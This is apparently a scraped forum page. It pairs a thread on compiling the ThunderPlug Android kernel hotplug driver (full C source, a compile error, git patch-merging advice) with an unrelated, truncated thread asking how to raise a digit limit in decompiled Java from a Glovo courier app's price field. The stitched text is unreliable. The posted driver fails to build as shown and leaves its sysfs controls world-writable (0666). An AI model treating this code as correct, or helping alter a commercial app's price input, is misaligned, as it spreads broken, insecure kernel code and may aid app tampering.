#define DEFAULT_HOTPLUG_STYLE HOTPLUG_SCHED
#define DEFAULT_SCHED_MODE BALANCED
#define DEF_SAMPLING_MS (500)
#define MIN_SAMLING_MS (50)
#define MIN_CPU_UP_TIME (750)
#define TOUCH_BOOST_ENABLED (0)
static bool isSuspended = false;
struct notifier_block lcd_worker;
static int suspend_cpu_num = 2, resume_cpu_num = (NR_CPUS -1);
static int endurance_level = 0;
static int core_limit = NR_CPUS;
static int now[8], last_time[8];
static int sampling_time = DEF_SAMPLING_MS;
static int load_threshold = DEFAULT_CPU_LOAD_THRESHOLD;
static int stop_boost = 0;
struct cpufreq_policy old_policy[NR_CPUS];
#ifdef CONFIG_SCHED_HMP
static int tplug_hp_style = DEFAULT_HOTPLUG_STYLE;
#else
static int tplug_hp_enabled = HOTPLUG_ENABLED;
#endif
static int tplug_sched_mode = DEFAULT_SCHED_MODE;
static int touch_boost_enabled = TOUCH_BOOST_ENABLED;
static struct workqueue_struct *tplug_wq;
static struct delayed_work tplug_work;
static struct workqueue_struct *tplug_boost_wq;
static struct delayed_work tplug_boost;
static struct workqueue_struct *tplug_resume_wq;
static struct delayed_work tplug_resume_work;
static unsigned int last_load[8] = { 0 };
struct cpu_load_data {
u64 prev_cpu_idle;
u64 prev_cpu_wall;
unsigned int avg_load_maxfreq;
unsigned int cur_load_maxfreq;
unsigned int samples;
unsigned int window_size;
cpumask_var_t related_cpus;
};
static DEFINE_PER_CPU(struct cpu_load_data, cpuload);
/* Two Endurance Levels for Octa Cores,
* Two for Quad Cores and
* One for Dual
*/
static inline void offline_cpus(void)
{
unsigned int cpu;
switch(endurance_level) {
case 1:
if(suspend_cpu_num > NR_CPUS / 2 )
suspend_cpu_num = NR_CPUS / 2;
break;
case 2:
if( NR_CPUS >=4 && suspend_cpu_num > NR_CPUS / 4)
suspend_cpu_num = NR_CPUS / 4;
break;
default:
break;
}
for(cpu = NR_CPUS - 1; cpu > (suspend_cpu_num - 1); cpu--) {
if (cpu_online(cpu))
cpu_down(cpu);
}
pr_info("%s: %d cpus were offlined\n", THUNDERPLUG, (NR_CPUS - suspend_cpu_num));
}
static inline void cpus_online_all(void)
{
unsigned int cpu;
switch(endurance_level) {
case 1:
if(resume_cpu_num > (NR_CPUS / 2) - 1 || resume_cpu_num == 1)
resume_cpu_num = ((NR_CPUS / 2) - 1);
break;
case 2:
if( NR_CPUS >= 4 && resume_cpu_num > ((NR_CPUS / 4) - 1))
resume_cpu_num = ((NR_CPUS / 4) - 1);
break;
case 0:
resume_cpu_num = (NR_CPUS - 1);
break;
default:
break;
}
if(DEBUG)
pr_info("%s: resume_cpu_num = %d\n",THUNDERPLUG, resume_cpu_num);
for (cpu = 1; cpu <= resume_cpu_num; cpu++) {
if (cpu_is_offline(cpu))
cpu_up(cpu);
}
pr_info("%s: all cpus were onlined\n", THUNDERPLUG);
}
static void __ref tplug_boost_work_fn(struct work_struct *work)
{
struct cpufreq_policy policy;
int cpu, ret;
for(cpu = 1; cpu < NR_CPUS; cpu++) {
#ifdef CONFIG_SCHED_HMP
if(tplug_hp_style == 1)
#else
if(tplug_hp_enabled == 1)
#endif
if(cpu_is_offline(cpu))
cpu_up(cpu);
ret = cpufreq_get_policy(&policy, cpu);
if (ret)
continue;
old_policy[cpu] = policy;
policy.min = policy.max;
cpufreq_update_policy(cpu);
}
if(stop_boost == 0)
queue_delayed_work_on(0, tplug_boost_wq, &tplug_boost,
msecs_to_jiffies(10));
}
static void tplug_input_event(struct input_handle *handle, unsigned int type,
unsigned int code, int value)
{
if (type == EV_KEY && code == BTN_TOUCH) {
if(DEBUG)
pr_info("%s : type = %d, code = %d, value = %d\n", THUNDERPLUG, type, code, value);
if(value == 0) {
stop_boost = 1;
if(DEBUG)
pr_info("%s: stopping boost\n", THUNDERPLUG);
}
else {
stop_boost = 0;
if(DEBUG)
pr_info("%s: starting boost\n", THUNDERPLUG);
}
}
#ifdef CONFIG_SCHED_HMP
if ((type == EV_KEY) && (code == BTN_TOUCH) && (value == 1)
&& touch_boost_enabled == 1)
#else
if ((type == EV_KEY) && (code == BTN_TOUCH) && (value == 1)
&& touch_boost_enabled == 1)
#endif
{
if(DEBUG)
pr_info("%s : touch boost\n", THUNDERPLUG);
queue_delayed_work_on(0, tplug_boost_wq, &tplug_boost,
msecs_to_jiffies(0));
}
}
static int tplug_input_connect(struct input_handler *handler,
struct input_dev *dev, const struct input_device_id *id)
{
struct input_handle *handle;
int error;
handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
if (!handle)
return -ENOMEM;
handle->dev = dev;
handle->handler = handler;
handle->name = "cpufreq";
error = input_register_handle(handle);
if (error)
goto err2;
error = input_open_device(handle);
if (error)
goto err1;
return 0;
err1:
input_unregister_handle(handle);
err2:
kfree(handle);
return error;
}
static void tplug_input_disconnect(struct input_handle *handle)
{
input_close_device(handle);
input_unregister_handle(handle);
kfree(handle);
}
static const struct input_device_id tplug_ids[] = {
{ .driver_info = 1 },
{ },
};
static struct input_handler tplug_input_handler = {
.event = tplug_input_event,
.connect = tplug_input_connect,
.disconnect = tplug_input_disconnect,
.name = "tplug_handler",
.id_table = tplug_ids,
};
static ssize_t thunderplug_suspend_cpus_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", suspend_cpu_num);
}
static ssize_t thunderplug_suspend_cpus_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
if(val < 1 || val > NR_CPUS)
pr_info("%s: suspend cpus off-limits\n", THUNDERPLUG);
else
suspend_cpu_num = val;
return count;
}
static ssize_t thunderplug_endurance_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", endurance_level);
}
static ssize_t __ref thunderplug_endurance_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
if(tplug_hp_style == 1) {
switch(val) {
case 0:
case 1:
case 2:
if(endurance_level!=val &&
!(endurance_level > 1 && NR_CPUS < 4)) {
endurance_level = val;
offline_cpus();
cpus_online_all();
}
break;
default:
pr_info("%s: invalid endurance level\n", THUNDERPLUG);
break;
}
}
else
pr_info("%s: per-core hotplug style is disabled, ignoring endurance mode values\n", THUNDERPLUG);
return count;
}
static ssize_t thunderplug_sampling_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", sampling_time);
}
static ssize_t __ref thunderplug_sampling_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
if(val > MIN_SAMLING_MS)
sampling_time = val;
return count;
}
static ssize_t thunderplug_tb_enabled_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", touch_boost_enabled);
}
static ssize_t __ref thunderplug_tb_enabled_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
switch(val)
{
case 0:
case 1:
touch_boost_enabled = val;
break;
default:
pr_info("%s : invalid choice\n", THUNDERPLUG);
break;
}
return count;
}
static ssize_t thunderplug_load_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", load_threshold);
}
static ssize_t __ref thunderplug_load_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
if(val > 10)
load_threshold = val;
return count;
}
static unsigned int get_curr_load(unsigned int cpu)
{
int ret;
unsigned int idle_time, wall_time;
unsigned int cur_load;
u64 cur_wall_time, cur_idle_time;
struct cpu_load_data *pcpu = &per_cpu(cpuload, cpu);
struct cpufreq_policy policy;
ret = cpufreq_get_policy(&policy, cpu);
if (ret)
return -EINVAL;
cur_idle_time = get_cpu_idle_time(cpu, &cur_wall_time, 0);
wall_time = (unsigned int) (cur_wall_time - pcpu->prev_cpu_wall);
pcpu->prev_cpu_wall = cur_wall_time;
idle_time = (unsigned int) (cur_idle_time - pcpu->prev_cpu_idle);
pcpu->prev_cpu_idle = cur_idle_time;
if (unlikely(!wall_time || wall_time < idle_time))
return 0;
cur_load = 100 * (wall_time - idle_time) / wall_time;
return cur_load;
}
static void thunderplug_suspend(void)
{
offline_cpus();
pr_info("%s: suspend\n", THUNDERPLUG);
}
static void __ref thunderplug_resume(void)
{
cpus_online_all();
pr_info("%s: resume\n", THUNDERPLUG);
}
static void __cpuinit tplug_resume_work_fn(struct work_struct *work)
{
thunderplug_resume();
}
static void __cpuinit tplug_work_fn(struct work_struct *work)
{
int i;
unsigned int load[8], avg_load[8];
switch(endurance_level)
{
case 0:
core_limit = NR_CPUS;
break;
case 1:
core_limit = NR_CPUS / 2;
break;
case 2:
core_limit = NR_CPUS / 4;
break;
default:
core_limit = NR_CPUS;
break;
}
for(i = 0 ; i < core_limit; i++)
{
if(cpu_online(i))
load[i] = get_curr_load(i);
else
load[i] = 0;
avg_load[i] = ((int) load[i] + (int) last_load[i]) / 2;
last_load[i] = load[i];
}
for(i = 0 ; i < core_limit; i++)
{
if(cpu_online(i) && avg_load[i] > load_threshold && cpu_is_offline(i+1))
{
if(DEBUG)
pr_info("%s : bringing back cpu%d\n", THUNDERPLUG,i);
if(!((i+1) > 7)) {
last_time[i+1] = ktime_to_ms(ktime_get());
cpu_up(i+1);
}
}
else if(cpu_online(i) && avg_load[i] < load_threshold && cpu_online(i+1))
{
if(DEBUG)
pr_info("%s : offlining cpu%d\n", THUNDERPLUG,i);
if(!(i+1)==0) {
now[i+1] = ktime_to_ms(ktime_get());
if((now[i+1] - last_time[i+1]) > MIN_CPU_UP_TIME)
cpu_down(i+1);
}
}
}
#ifdef CONFIG_SCHED_HMP
if(tplug_hp_style == 1 && !isSuspended)
#else
if(tplug_hp_enabled != 0 && !isSuspended)
#endif
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(sampling_time));
else {
if(!isSuspended)
cpus_online_all();
else
thunderplug_suspend();
}
}
static int lcd_notifier_callback(struct notifier_block *nb,
unsigned long event, void *data)
{
switch (event) {
case LCD_EVENT_ON_START:
isSuspended = false;
#ifdef CONFIG_SCHED_HMP
if(tplug_hp_style==1)
#else
if(tplug_hp_enabled)
#endif
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(sampling_time));
else
queue_delayed_work_on(0, tplug_resume_wq, &tplug_resume_work,
msecs_to_jiffies(10));
pr_info("thunderplug : resume called\n");
break;
case LCD_EVENT_ON_END:
break;
case LCD_EVENT_OFF_START:
break;
case LCD_EVENT_OFF_END:
isSuspended = true;
pr_info("thunderplug : suspend called\n");
break;
default:
break;
}
return 0;
}
/* Thunderplug load balancer */
#ifdef CONFIG_SCHED_HMP
static void set_sched_profile(int mode) {
switch(mode) {
case 1:
/* Balanced */
sched_set_boost(DISABLED);
break;
case 2:
/* Turbo */
sched_set_boost(ENABLED);
break;
default:
pr_info("%s: Invalid mode\n", THUNDERPLUG);
break;
}
}
static ssize_t thunderplug_sched_mode_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", tplug_sched_mode);
}
static ssize_t __ref thunderplug_sched_mode_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
set_sched_profile(val);
tplug_sched_mode = val;
return count;
}
static ssize_t thunderplug_hp_style_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", tplug_hp_style);
}
static ssize_t __ref thunderplug_hp_style_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val, last_val;
sscanf(buf, "%d", &val);
last_val = tplug_hp_style;
switch(val)
{
case HOTPLUG_PERCORE:
case HOTPLUG_SCHED:
tplug_hp_style = val;
break;
default:
pr_info("%s : invalid choice\n", THUNDERPLUG);
break;
}
if(tplug_hp_style == HOTPLUG_PERCORE && tplug_hp_style != last_val) {
pr_info("%s: Switching to Per-core hotplug model\n", THUNDERPLUG);
sched_set_boost(DISABLED);
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(sampling_time));
}
else if(tplug_hp_style==2) {
pr_info("%s: Switching to sched based hotplug model\n", THUNDERPLUG);
set_sched_profile(tplug_sched_mode);
}
return count;
}
static struct kobj_attribute thunderplug_hp_style_attribute =
__ATTR(hotplug_style,
0666,
thunderplug_hp_style_show, thunderplug_hp_style_store);
static struct kobj_attribute thunderplug_mode_attribute =
__ATTR(sched_mode,
0666,
thunderplug_sched_mode_show, thunderplug_sched_mode_store);
#else
static ssize_t thunderplug_hp_enabled_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", tplug_hp_enabled);
}
static ssize_t __ref thunderplug_hp_enabled_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
int last_val = tplug_hp_enabled;
switch(val)
{
case 0:
case 1:
tplug_hp_enabled = val;
break;
default:
pr_info("%s : invalid choice\n", THUNDERPLUG);
break;
}
if(tplug_hp_enabled == 1 && tplug_hp_enabled != last_val)
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(sampling_time));
return count;
}
static struct kobj_attribute thunderplug_hp_enabled_attribute =
__ATTR(hotplug_enabled,
0666,
thunderplug_hp_enabled_show, thunderplug_hp_enabled_store);
#endif
static ssize_t thunderplug_ver_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "ThunderPlug %u.%u", DRIVER_VERSION, DRIVER_SUBVER);
}
static struct kobj_attribute thunderplug_ver_attribute =
__ATTR(version,
0444,
thunderplug_ver_show, NULL);
static struct kobj_attribute thunderplug_suspend_cpus_attribute =
__ATTR(suspend_cpus,
0666,
thunderplug_suspend_cpus_show, thunderplug_suspend_cpus_store);
static struct kobj_attribute thunderplug_endurance_attribute =
__ATTR(endurance_level,
0666,
thunderplug_endurance_show, thunderplug_endurance_store);
static struct kobj_attribute thunderplug_sampling_attribute =
__ATTR(sampling_rate,
0666,
thunderplug_sampling_show, thunderplug_sampling_store);
static struct kobj_attribute thunderplug_load_attribute =
__ATTR(load_threshold,
0666,
thunderplug_load_show, thunderplug_load_store);
static struct kobj_attribute thunderplug_tb_enabled_attribute =
__ATTR(touch_boost,
0666,
thunderplug_tb_enabled_show, thunderplug_tb_enabled_store);
static struct attribute *thunderplug_attrs[] =
{
&thunderplug_ver_attribute.attr,
&thunderplug_suspend_cpus_attribute.attr,
&thunderplug_endurance_attribute.attr,
&thunderplug_sampling_attribute.attr,
&thunderplug_load_attribute.attr,
#ifdef CONFIG_SCHED_HMP
&thunderplug_mode_attribute.attr,
&thunderplug_hp_style_attribute.attr,
#else
&thunderplug_hp_enabled_attribute.attr,
#endif
&thunderplug_tb_enabled_attribute.attr,
NULL,
};
static struct attribute_group thunderplug_attr_group =
{
.attrs = thunderplug_attrs,
};
static struct kobject *thunderplug_kobj;
static int __init thunderplug_init(void)
{
int ret = 0;
int sysfs_result;
printk(KERN_DEBUG "[%s]\n",__func__);
thunderplug_kobj = kobject_create_and_add("thunderplug", kernel_kobj);
if (!thunderplug_kobj) {
pr_err("%s Interface create failed!\n",
__FUNCTION__);
return -ENOMEM;
}
sysfs_result = sysfs_create_group(thunderplug_kobj, &thunderplug_attr_group);
if (sysfs_result) {
pr_info("%s sysfs create failed!\n", __FUNCTION__);
kobject_put(thunderplug_kobj);
}
lcd_worker.notifier_call = lcd_notifier_callback;
lcd_register_client(&lcd_worker);
pr_info("%s : registering input boost", THUNDERPLUG);
ret = input_register_handler(&tplug_input_handler);
if (ret) {
pr_err("%s: Failed to register input handler: %d\n",
THUNDERPLUG, ret);
}
tplug_wq = alloc_workqueue("tplug",
WQ_HIGHPRI | WQ_UNBOUND, 1);
tplug_resume_wq = alloc_workqueue("tplug_resume",
WQ_HIGHPRI | WQ_UNBOUND, 1);
tplug_boost_wq = alloc_workqueue("tplug_boost",
WQ_HIGHPRI | WQ_UNBOUND, 1);
INIT_DELAYED_WORK(&tplug_work, tplug_work_fn);
INIT_DELAYED_WORK(&tplug_resume_work, tplug_resume_work_fn);
INIT_DELAYED_WORK(&tplug_boost, tplug_boost_work_fn);
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(10));
pr_info("%s: init\n", THUNDERPLUG);
return ret;
}
MODULE_LICENSE("GPL and additional rights");
MODULE_AUTHOR("Varun Chitre <[email protected]>");
MODULE_DESCRIPTION("Hotplug driver for ARM SoCs");
late_initcall(thunderplug_init);
Here is my error.
Code:
CC arch/arm/mach-msm/thunderplug.o
arch/arm/mach-msm/thunderplug.c: In function 'thunderplug_endurance_store':
arch/arm/mach-msm/thunderplug.c:283:5: error: 'tplug_hp_style' undeclared (first use in this function)
if(tplug_hp_style == 1) {
^
arch/arm/mach-msm/thunderplug.c:283:5: note: each undeclared identifier is reported only once for each function it appears in
arch/arm/mach-msm/thunderplug.c: In function 'thunderplug_hp_enabled_store':
arch/arm/mach-msm/thunderplug.c:598:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
error, forbidden warning: thunderplug.c:598
make[1]: *** [arch/arm/mach-msm/thunderplug.o] Error 1
make[1]: *** Waiting for unfinished jobs...
Any help would be appreciated
Click to expand...
Click to collapse
Hard to say without seeing your whole kernel source but it looks like you don't use:
CONFIG_SCHED_HMP
@RenderBroken
See here, thanks for helping
https://github.com/varunchitre15/th...36ca2904495a/arch/arm64/hotplug/thunderplug.c
Looking for the commits now
Doesnt look like I have whats needed. Might take awhile to track all the commits down
Edit: Still not working. Ill keep looking into it
apophis9283 said:
@RenderBroken
See here, thanks for helping
https://github.com/varunchitre15/th...36ca2904495a/arch/arm64/hotplug/thunderplug.c
Looking for the commits now
Doesnt look like I have whats needed. Might take awhile to track all the commits down
Edit: Still not working. Ill keep looking into it
Click to expand...
Click to collapse
No sweat bro.
I am pretty sure the problem is that you are missing all the HMP commits in /kernel/sched and the hotplug driver wasn't coded to work without HMP. (By accident, I think he meant to though)
I have them but there is a large bringup to make it work I have done it with my test branch here:
https://github.com/RenderBroken/SHAMU-kernel/commits/r1-t3
Honestly, I don't think it is worth the work.
RenderBroken said:
No sweat bro.
I am pretty sure the problem is that you are missing all the HMP commits in /kernel/sched and the hotplug driver wasn't coded to work without HMP. (By accident, I think he meant to though)
I have them but there is a large bringup to make it work I have done it with my test branch here:
https://github.com/RenderBroken/SHAMU-kernel/commits/r1-t3
Honestly, I don't think it is worth the work.
Click to expand...
Click to collapse
I really want to get it working. I have it working but its like v1.0, im trying to get 5.0 to work
apophis9283 said:
I really want to get it working. I have it working but its like v1.0, im trying to get 5.0 to work
Click to expand...
Click to collapse
If you really want it working then you will need to make all the sched commits starting from here: https://github.com/RenderBroken/SHAMU-kernel/commits/r1-t3?page=10
to here:
https://github.com/RenderBroken/SHAMU-kernel/commits/r1-t3?page=1
RenderBroken said:
If you really want it working then you will need to make all the sched commits starting from here: https://github.com/RenderBroken/SHAMU-kernel/commits/r1-t3?page=10
to here:
https://github.com/RenderBroken/SHAMU-kernel/commits/r1-t3?page=1
Click to expand...
Click to collapse
Im just merging that branch into mine
apophis9283 said:
Im just merging that branch into mine
Click to expand...
Click to collapse
you know, the way I merge a massive number of commits in order is by:
1. git fetch the remote source to your local kernel source. This may mean adding the remote first.
2. Now you can create patches from their commits by using: git format-patch
3 So to create a range of patches from a range of commits (they have to be in order) you just:
Code:
git format-patch 8a8e3fff2c84152a7cb3895ff3b98fd6115f2d5a..142bfdc7328dd5290e99216674a2a48e23f645ba
The above is just an example but notice the".." in between the SHA1's. This means "and all commits in between these two commits".
4. So once you have all the patches created in your local source, you can apply them all really easily by running:
Code:
git am *.patch
The above means to apply all patches because all patches end in ".patch"
It will then start applying the patches in order right ontop of your source. If it fails a single commit it will let you fix it, skip it or just abort the whole thing. To fix it I just look for the commit message in the other's kernel source and cherry-pick it like normal. Cherry-picking is not as picky as git am is so most of the time it will apply the commit. If it succeeds, you just run:
Code:
git am --skip
Since you had applied the commit manually so it can skip over doing it.
To me this just keeps history cleaner and can sometimes be a huge time saver when all you want is a range of commits from another's source without merging in their other crap you dont want.
RenderBroken said:
you know, the way I merge a massive number of commits in order is by:
1. git fetch the remote source to your local kernel source. This may mean adding the remote first.
2. Now you can create patches from their commits by using: git format-patch
3 So to create a range of patches from a range of commits (they have to be in order) you just:
Code:
git format-patch 8a8e3fff2c84152a7cb3895ff3b98fd6115f2d5a..142bfdc7328dd5290e99216674a2a48e23f645ba
The above is just an example but notice the".." in between the SHA1's. This means "and all commits in between these two commits".
4. So once you have all the patches created in your local source, you can apply them all really easily by running:
Code:
git am *.patch
The above means to apply all patches because all patches end in ".patch"
It will then start applying the patches in order right ontop of your source. If it fails a single commit it will let you fix it, skip it or just abort the whole thing. To fix it I just look for the commit message in the other's kernel source and cherry-pick it like normal. Cherry-picking is not as picky as git am is so most of the time it will apply the commit. If it succeeds, you just run:
Code:
git am --skip
Since you had applied the commit manually so it can skip over doing it.
To me this just keeps history cleaner and can sometimes be a huge time saver when all you want is a range of commits from another's source without merging in their other crap you dont want.
Click to expand...
Click to collapse
sweet
apophis9283 said:
sweet
Click to expand...
Click to collapse
Yea, neobuddy89 taught me that trick a long time ago. I use it ALL the time when rebasing and such.
RenderBroken said:
Yea, neobuddy89 taught me that trick a long time ago. I use it ALL the time when rebasing and such.
Click to expand...
Click to collapse
Working on it now. Still gonna take a bit
Decided just to cp it all. It may take most of the night but...
apophis9283 said:
Decided just to cp it all. It may take most of the night but...
Click to expand...
Click to collapse
It takes time to Learn properly. I know it took me quite a bit of time at least.
RenderBroken said:
It takes time to Learn properly. I know it took me quite a bit of time at least.
Click to expand...
Click to collapse
Yeah, ive actually got quite far
Just merged all those. Damn that sucked
@RenderBroken
I get this error, not sure if i missed anything
kernel/sched/core.c: In function 'sd_init_CPU':
kernel/sched/core.c:8448:8: error: 'SD_CPU_INIT' undeclared (first use in this function)
*sd = SD_##type##_INIT; \
^
kernel/sched/core.c:8454:1: note: in expansion of macro 'SD_INIT_FUNC'
SD_INIT_FUNC(CPU)
^
kernel/sched/core.c:8448:8: note: each undeclared identifier is reported only once for each function it appears in
*sd = SD_##type##_INIT; \
^
kernel/sched/core.c:8454:1: note: in expansion of macro 'SD_INIT_FUNC'
SD_INIT_FUNC(CPU)
^
kernel/sched/core.c: In function 'sd_init_MC':
kernel/sched/core.c:8448:8: error: 'SD_MC_INIT' undeclared (first use in this function)
*sd = SD_##type##_INIT; \
^
kernel/sched/core.c:8459:2: note: in expansion of macro 'SD_INIT_FUNC'
SD_INIT_FUNC(MC)
^
I think topology is what im missing for that error. Just not sure
apophis9283 said:
I think topology is what im missing for that error. Just not sure
Click to expand...
Click to collapse
yea, did you remove the CONFIG_SCHED_MC stuff from your source?
RenderBroken said:
yea, did you remove the CONFIG_SCHED_MC stuff from your source?
Click to expand...
Click to collapse
Dont think so. Ive been trying all day to get it to compile
@RenderBroken
What would I be looking for?
I looked at my topology.h file. The parts that errored are in it
Probably just gonna revert all that. I cant get it working so its not worth the time
@RenderBroken
I decided to take a different route.
drivers/soc/qcom/thunderplug.c:281:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
I need to change it to c99 but dont know what to edit

Help with java code

Hello
Please help.
Here is the code of the line in the application
It is necessary to enter 6 digits in the application in the line. And the application only allows 4.
What parameter in the code should be changed ?
package glovoapp.delivery.detail.pickup.upload.quiero;
import android.content.Context;
import android.support.v4.media.a;
import android.text.Editable;
import android.text.InputFilter;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.glovoapp.theme.Palette;
import g3.b;
import glovoapp.delivery.crossdocking.databinding.PriceEditTextBinding;
import glovoapp.utils.l;
import hu.e;
import hu.j;
import java.util.Arrays;
import java.util.List;
import java.util.ListIterator;
import java.util.Locale;
import kotlin.Metadata;
import kotlin.collections.CollectionsKt;
import kotlin.jvm.JvmOverloads;
import kotlin.jvm.internal.DefaultConstructorMarker;
import kotlin.jvm.internal.Intrinsics;
import kotlin.jvm.internal.SourceDebugExtension;
import kotlin.jvm.internal.StringCompanionObject;
import kotlin.text.Regex;
import kotlin.text.StringsKt;
import t3.a;
@Metadata(d1 = {"\u0000f\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\t\n\u0002\u0018\u0002\n\u0002\u0010\u000b\n\u0002\b\b\n\u0002\u0010\u0006\n\u0002\b\u0004\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\r\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\f\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\r\b\u0007\u0018\u0000 D2\u00020\u0001:\u0004DEFGB%\b\u0007\u0012\u0006\u0010\u0002\u001a\u00020\u0003\u0012\n\b\u0002\u0010\u0004\u001a\u0004\u0018\u00010\u0005\u0012\b\b\u0002\u0010\u0006\u001a\u00020\u0007¢\u0006\u0002\u0010\bJ\u0018\u00104\u001a\u00020\u00152\u0006\u00105\u001a\u0002062\u0006\u00107\u001a\u000208H\u0002J\u0010\u00109\u001a\u00020\u00152\u0006\u00105\u001a\u000206H\u0002J\b\u0010:\u001a\u00020;H\u0014J\u0010\u0010<\u001a\u00020;2\u0006\u0010*\u001a\u00020\u001eH\u0002J\b\u0010=\u001a\u00020;H\u0002J\b\u0010>\u001a\u00020;H\u0002J\u0010\u0010?\u001a\u00020;2\u0006\[email protected]\u001a\u00020\u0015H\u0016J\b\u0010A\u001a\u00020;H\u0002J\u0010\u0010B\u001a\u00020;2\u0006\u0010C\u001a\u00020\u0015H\u0002R\u0011\u0010\t\u001a\u00020\n¢\u0006\b\n\u0000\u001a\u0004\b\u000b\u0010\fR$\u0010\u000e\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u000f\u0010\u0010\"\u0004\b\u0011\u0010\u0012R\u0012\u0010\u0013\u001a\u00060\u0014R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R$\u0010\u0016\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u0017\u0010\u0018\"\u0004\b\u0019\u0010\u001aR\u0010\u0010\u001b\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u0010\u0010\u001c\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u000e\u0010\u001d\u001a\u00020\u001eX\u0082\u000e¢\u0006\u0002\n\u0000R$\u0010\u001f\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b \u0010\u0010\"\u0004\b!\u0010\u0012R\u0012\u0010\"\u001a\u00060#R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R\u001c\u0010$\u001a\u0004\u0018\u00010%X\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b&\u0010'\"\u0004\b(\u0010)R$\u0010*\u001a\u00020\u001e2\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\f\u001a\u0004\b+\u0010,\"\u0004\b-\u0010.R\u0010\u0010/\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u001e\u00100\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0082\u000e¢\u0006\b\n\u0000\"\u0004\b1\u0010\u001aR\u000e\u00102\u001a\u000203X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006H"}, d2 = {"Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText;", "Landroid/widget/LinearLayout;", "context", "Landroid/content/Context;", "attrs", "Landroid/util/AttributeSet;", "defStyleAttr", "", "(Landroid/content/Context;Landroid/util/AttributeSet;I)V", "binding", "Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "getBinding", "()Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "value", "decimalDigits", "getDecimalDigits", "()I", "setDecimalDigits", "(I)V", "decimalTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$DecimalTextWatcher;", "", "errorEnabled", "getErrorEnabled", "()Z", "setErrorEnabled", "(Z)V", "grayColor", "greenColor", "innerPrice", "", "integerDigits", "getIntegerDigits", "setIntegerDigits", "integerTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$IntegerTextWatcher;", "onPriceChangeListener", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "getOnPriceChangeListener", "()Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "setOnPriceChangeListener", "(Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListenerV", "price", "getPrice", "()D", "setPrice", "(D)V", "redColor", "shouldShowDecimals", "setShouldShowDecimals", "zeroChar", "", "checkDecimalPointEvent", "s", "Landroid/text/Editable;", "char", "", "checkEmptyInteger", "onFinishInflate", "", "onPriceSet", "onPriceTextChanged", "setEditTextsError", "setEnabled", "enabled", "setUnderlineError", "setUnderlineState", "focused", "Companion", "DecimalTextWatcher", 